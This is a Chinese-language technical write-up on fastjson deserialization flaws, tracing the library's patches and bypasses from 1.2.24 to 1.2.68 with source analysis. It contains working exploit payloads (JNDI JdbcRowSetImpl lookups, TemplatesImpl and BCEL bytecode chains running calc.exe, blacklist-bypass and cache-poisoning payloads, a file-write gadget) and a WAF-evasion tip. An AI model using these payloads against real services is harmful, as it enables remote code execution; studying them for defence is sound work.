Fastjson反序列化
0x00 前言
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。fastjson是目前java语言中最快的json库,其功能完备且使用简单,因而使用非常广泛。自fastjson在1.2.24版本爆出第一次漏洞到至今,有着多次的安全补丁更新和绕过。
0x01 Fastjson简单使用和分析
Fastjson入口类是 com.alibaba.fastjson.JSON,主要的 API 是 JSON.toJSONString,parse和 parseObject。
1.简单环境
直接使用Maven导入依赖
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
创建一个Study类用来测试
public class Student { private int age; private String name; public Student(){ }; public Student(String name,int age){ this.name=name; this.age=age; } public int getAge() { System.out.println("调用了getAge"); return age; } public void setAge(int age) { System.out.println("调用了setAge"); this.age = age; } public String getName() { System.out.println("调用了getName"); return name; } public void setName(String name) { System.out.println("调用了setName"); this.name = name; } @Override public String toString(){ return "{\"name\":\""+name+'\"'+",\"age\":"+age+'}'; } }
2.将类序列化为json
主要的 API 是 JSON.toJSONString,此方法有多种重载方法,可指定多个参数,常见参数如下:
-
Object :即将要序列化的对象
-
SerializerFeature:序列化属性
-
SerializeFilter:序列化过滤器
-
SerializeConfig:序列化时的配置
简单测试:
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class Test { public static void main(String[] args) { Student student = new Student("Christ1na",20); String s1 = JSON.toJSONString(student); System.out.println("----------"); String s2 = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println("s1:"+s1); System.out.println("s2:"+s2); } }
看一下输出
可以发现JSON.toJSONString()
成功将类转换为json字符串,并且在转换的同时调用了getter方法
,而指定SerializerFeature.WriteClassName参数后,其会将对象类型一起序列化并且会写入到@type
字段中。
3.将 json反序列化为类
主要的 API 是JSON.parseObject()和JSON.parse()
尝试将json反序列化为类
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Test { public static void main(String[] args) { String s= "{\"@type\":\"fastjson.Student\",\"age\":20,\"name\":\"Christ1na\"}"; Object parse = JSON.parse(s); System.out.println(parse); System.out.println(parse.getClass().getName()); System.out.println("----------------------"); JSONObject jsonObject = JSON.parseObject(s); System.out.println(jsonObject); System.out.println(jsonObject.getClass().getName()); } }
看一下输出
可以发现,当parse进行反序列化时,如果json字符串中有@type
,会自动执行指定类中相对应属性的setter方法,并且会转换为@type
指定类的类型
而parseObject进行反序列化时如果json字符串中有@type
,会自动执行指定类的setter和getter方法,并且转换为JSONObject
类
那为什么parseObject可以调用getter方法呢?
我们来看一下源码
发现会先调用parse方法,然后调用toJSON将对象强转为JSONObject类,而toJSON会调用getter方法
这里列举一些 fastjson 功能要点:
- 使用
JSON.parse(jsonString)
和JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在 jsonString 中解析字符串获取@type
指定的类,后者则会直接使用参数中的class。 - fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以
get
开头且第4位是大写字母、方法不能有参数传入、继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以set
开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在com.alibaba.fastjson.util.JavaBeanInfo.build()
中。 - 使用
JSON.parseObject(jsonString)
将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。 - 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数。 - fastjson 在为类属性寻找 get/set 方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_|-
字符串,也就是说哪怕你的字段名叫_a_g_e_
,getter 方法为getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用_
和-
进行组合混淆。 - fastjson 在反序列化时,如果 Field 类型为
byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
那么如果存在一个类,其内存在恶意的getter、setter方法或利用链,那么我们使用fastjson的@type功能,就能对其进行恶意利用。
0x02 漏洞分析
1.2.24
影响版本:
fastjson <= 1.2.24
描述:fastjson 默认使用@type
指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。
主要有三种利用方式
1.JNDI注入
需要连接远程恶意服务器,在目标没外网的情况下无法直接利用,JDK191以后对JNDI注入做了限制
漏洞点在 com.sun.rowset.JdbcRowSetImpl
,触发点在javax.naming.InitialContext#lookup(),其参数可控,很明显的JNDI注入
其内存在的setAutoCommit方法,调用了this.connect()
跟进this.connect()方法,其调用了var1.lookup()方法,
跟进var1.lookup(),即javax.naming.InitialContext#lookup(),很明显的JNDI注入,而name参数则是由从成员变量 dataSource 中获取
那么构造payload也十分简单了:
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:8000/calc", "autoCommit":true //false也行 }
测试,成功RCE
2.TemplatesImpl 加载字节码
需要开启
Feature.SupportNonPublicField
,比较鸡肋
漏洞点在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties(),这个利用点跟CC3的一样,最终调用defineClass()加载恶意字节码,从而执行任意代码
我们来见简单分析一下,首先是getOutputProperties()方法,会调用newTransformer()
跟进newTransformer(),会调用getTransletInstance()方法
而在getTransletInstance()方法中,如果_class为null,则会调用defineTransletClasses(),同时_name不能为空
而在defineTransletClasses()中,会使用自定义的defineClass去加载字节码,而这个 _bytecodes为该类的成员属性,也就是可控的。同时被加载的类其父类必须为ABSTRACT_TRANSLET
,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
那么完整的流程为
TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
该类存在成员属性_outputProperties,因此我们可以调用getOutputProperties()方法,从而触发恶意利用链。
由于部分需要更改的私有变量没有 setter 方法,所以需要使用 Feature.SupportNonPublicField
参数。尝试构造payload:
{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAA...CABk="], "_name": "Christ1na", "_tfactory": {}, "_outputProperties": {}, }
测试,成功触发漏洞
3.BCEL加载字节码
可直接在目标本地利用,无额外条件
需要dbcp2包,而tomcat中自带此包,我这里是直接使用maven导入的org.apache.commons.dbcp2
但是在Java 8u251以后,BCEL ClassLoader就用不了了。
详情可看p牛的BCEL ClassLoader去哪了
漏洞点位于dbcp.dbcp2.BasicDataSource中
首先来看入口点getConnection(),其调用了createDataSource()方法
接着调用了createConnectionFactory()方法
在createConnectionFactory()方法中,如果dataSource不为null,则会执行Class.forName(this.driverClassName, true, this.driverClassLoader);
很明显,当Class.forName的第二个参数为true时,类加载后会执行static代码块中的内容,而driverClassName和 driverClassLoader都为该类的属性,可以控制,所以只要找到一个可以利用的恶意类即可,此时就会用到BCEL ClassLoader
该类位于com.sun.org.apache.bcel.internal.util.ClassLoader,其重写了Java内置的ClassLoader#loadClass()
方法
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null; /* First try: lookup hash table. */ if((cl=(Class)classes.get(class_name)) == null) { /* Second try: Load system class using system class loader. You better * don't mess around with them. */ for(int i=0; i < ignored_packages.length; i++) { if(class_name.startsWith(ignored_packages[i])) { cl = deferTo.loadClass(class_name); break; } } if(cl == null) { JavaClass clazz = null; /* Third try: Special request? */ if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); else { // Fourth try: Load classes via repository if ((clazz = repository.loadClass(class_name)) != null) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException(class_name); } if(clazz != null) { byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length); } else // Fourth try: Use default class loader cl = Class.forName(class_name); } if(resolve) resolveClass(cl); } classes.put(class_name, cl); return cl; }
在ClassLoader#loadClass()
中,其会判断类名是否是$$BCEL$$
开头,如果是的话,将会对$$BCEL$$后面的字符串进行解码,然后作为Class的字节码,并调用 defineClass() 获取 Class 对象
我们可以编写一个恶意类Evil:
public class Evil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) {} } }
然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器:
package fastjson; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; public class bcel { public static void main(String[] args) throws Exception{ JavaClass javaClass = Repository.lookupClass(test1.class); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); new ClassLoader().loadClass("$$BCEL$$" + code).newInstance(); } }
那么直接构造payload:
{ { "aaa": { "@type": "org.apache.commons.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "bbb" }
成功触发漏洞代码
为什么我们这里会这样构造payload呢?
我们知道此利用链的入口点为BasicDataSource.getConnection()方法,JSON.parse() 会调用满足特定条件的 getter 方法,显然getConnection()方法并不满足条件,因此如果我们使用parse()方法去正常反序列化它显然是不会触发的,当然如果用JSON.parseObject()是可以直接触发的。
原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。
首先,在 {“@type”: “org.apache.commons.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个 JSONObject 对象。
然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject DefaultJSONParser.java:436 if (object.getClass() == JSONObject.class) { key = (key == null) ? "null" : key.toString(); }
这样就能调用BasicDataSource.getConnection()方法了,完整poc应该是这样的:
{ { "@type": "com.alibaba.fastjson.JSONObject", "aaa":{ "@type": "org.apache.commons.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "bbb" }
1.2.25-1.2.41
影响版本:
1.2.25 <= fastjson <= 1.2.41
描述:在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
在com.alibaba.fastjson.parser.ParserConfig中,添加了几个新变量:
- autoTypeSupport:用来标识是否开启任意类型的反序列化,并且默认关闭,为true时会使用
checkAutoType
来进行安全检测 - denyList:反序列化类的黑名单
- acceptList:反序列化白名单
我们来看一下checkAutoType()函数的拦截逻辑:
首先在开启autoTypeSupport的情况下,会对类名进行白名单检测,如果符合则进入TypeUtils.loadClass
,然后进行黑名单检测,如果类名在黑名单中直接抛出异常
继续向下看,如果autoTypeSupport
没有开启,先进行黑名单匹配,如果匹配上抛出异常,在进行白名单匹配,匹配成功则进行加载。最后如果黑白名单都未匹配上且开启了auto则会调用TypeUtils.loadClass
。
跟进一下loadClass,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [
、L
、;
字符。
因此在此位置出现了逻辑漏洞,如果开启了autoType,可以在@type
的前后分别加上L ;
来进行绕过黑名单的限制
需要开启aotoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
payload:
{ "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://127.0.0.1:8000/calc", "autoCommit":true }
1.2.42
影响版本:1.2.25 <= fastjson <= 1.2.42
描述:将原本的明文黑名单转为使用了 Hash 黑名单,同时之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
看一下com.alibaba.fastjson.parser.ParserConfig的变化,以此来防止安全人员对其研究。
而且在 checkAutoType加入了新的过滤,如果类第一个字符是 L
结尾是 ;
,会使用 substring函数进行了去除,显然可进行双写绕过,
payload:
{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:8000/calc", "autoCommit":true }
1.2.43
影响版本:
1.2.25 <= fastjson <= 1.2.43
描述:修复上一个版本中双写绕过的问题
增加新判断,如果类名中出现两个LL则抛出异常
但是在 loadClass
的过程中,还针对 [
也进行了处理和递归,那么也可以利用 [
进行黑名单的绕过
payload:
{ "@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"rmi://127.0.0.1:8000/calc", "autoCommit":true }
1.2.44
影响版本:
1.2.25 <= fastjson <= 1.2.44
描述:修复了使用[
绕过黑名单防护的问题,在此版本之后,由字符串处理导致的黑名单绕过就结束了。
在checkAutoType
中进行判断,如果类名以[
开始直接抛出异常
1.2.45
影响版本:
1.2.25 <= fastjson <= 1.2.45
描述:在此版本又被爆出了一个黑名单绕过,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。
payload:
{ "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{ "data_source":"ldap://127.0.0.1:7777/calc" } }
1.2.47
影响版本:
1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47
描述:此版本出现了重大漏洞,可以在不开启AutoTypeSupport的情况下进行反序列化的利用。原理是通过Fastjson自带的缓存机制将恶意类加载到
Mapping
中,从而绕过checkAutoType
检测
我们来看一下checkAutoType()
方法,在开启autoTypeSupport的情况下,会先进行白名单判断,然后进行黑名单判断时,会判断TypeUtils.getClassFromMapping(typeName) 是否为null,如果不为空,则会继续向下走,从Mapping
和deserializers
中寻找类,如果存在则返回clazz
那么如果未开启autoTypeSupport,代码会先从Mapping
和deserializers
中寻找类,如果存在则返回clazz
,从而绕过后面的黑名单检测
那我们如何才能在这两步中将我们的恶意类加载进去呢?
其中deserializers我们无法向其传参,所以无法利用,那我们着重看一下TypeUtils.getClassFromMapping(typeName)。
该方法从 TypeUtils.mappings
中取值,mapping.put方法用来向mappings赋值,其在以下两个函数中被调用:
- addBaseClassMappings()
- loadClass
而addBaseClassMappings()为无参的方法,无可控参数,我们来看一下loadClass()方法:
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { ...//前面代码为检查类名 try{ //classLoader不为空,cache为true,则将参数中的className加入mappings中 if(classLoader != null){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ e.printStackTrace(); // skip } try{ ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); //如果第一次失败,以当前的contextClassLoader来加载类,cache为true,将参数中的className加入mappings中 if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ } //如果前两次失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中 try{ clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch(Throwable e){ } return clazz; }
那么只要我们能控制该方法的参数,就能向mappings中写入类名,而在当前类中,loadClass有三个重载方法,其中className参数均可控,那我们找一下这些函数在哪里被调用且可利用
最后我们找到了com.alibaba.fastjson.serializer.MiscCodec#deserialze方法,其调用了两个参数的loadClass()
其cache为true,所以可被利用
那我们看一下MiscCodec#deserialze方法,首先clazz必须为Class.class,也就是java.lang.Class,这个clazz为deserialze方法的参数,如何赋值先这里先不解释
然后将 strVal 加入mappings中,那么这个strVal是如何赋值的呢?
其是由objVal赋值
我们继续跟一下objVal如何被赋值,这里第一个if默认为true,而第二个判断是我们的json字符串中必须有val属性,最后objVal的值为从JSON中解析到的val的值
那么如何能调用deserialze
方法并使clazz == Class.class呢?
在ParserConfig
类初始化时会执行initDeserializers
方法,会向deserializers
中添加许多的类,类似一种缓存,其中会添加Class.class
进行json反序列化时,会调用checkAutoType()方法,当我们传入的类名为java.lang.class,其会返回clazz等于java.lang.class
随后会调用deserialze方法,该方法位于checkAutoType()方法之后调用,因而可成功调用loadClass方法,向mappings中添加我们的恶意类
那我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击
payload:
{ "1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:7777/calc", "autoCommit": true } }
1.2.48
在MiscCodec
中修改了cache
的默认值为false
,并且对TypeUtils.loadClass
中的mapping.put
做了限制,可以避免使用了 Class 提前将恶意类名缓存进去
1.2.68
影响版本:
fastjson <= 1.2.68
描述:在此版本中新增了safeMode
功能,如果开启的话,将在checkAutoType()
中直接抛出异常,等于是完全禁止了autotype。但爆出了可以在不开启safeMode
的前提下,利用 expectClass 绕过checkAutoType()
。
checkAutoType()函数新加逻辑,如果safeMode开启直接抛出异常
可以利用 expectClass 绕过 checkAutoType()
,在checkAutoType()中有这么一个判断:如果传入 expectClass
参数,且传入的类名是 expectClass
的子类或实现,并且不在黑名单中,就可以绕过后面的安全检测。
其中java.lang.AutoCloseable
因为在白名单中,因此可以使用其子类来进行绕过autoTypeSupport
这里稍微总结一下恶意类要满足的条件:
- 恶意类不在黑名单内
- 恶意类的父类(例如
AutoCloseable
)不在黑名单内 - 恶意类不能是抽象类
- 恶意类中的
getter/setter/static block/constructor
能触发恶意操作
{ "x":{ "@type":"java.lang.AutoCloseable", "@type":"sun.rmi.server.MarshalOutputStream", "out":{ "@type":"java.util.zip.InflaterOutputStream", "out":{ "@type":"java.io.FileOutputStream", "file":"/tmp/dest.txt", "append":false }, "infl":{ "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" }, "bufLen":1048576 }, "protocolVersion":1 } }
1.2.80
bypasswaf
Fastjson默认会去除键、值外的空格、\b
、\n
、\r
、\f
等,同时还会自动将键与值进行unicode与十六进制解码。
后续版本绕过待补充...
参考链接:
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://su18.org/post/fastjson/
http://tttang.com/archive/1579/#toc_fastjson
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html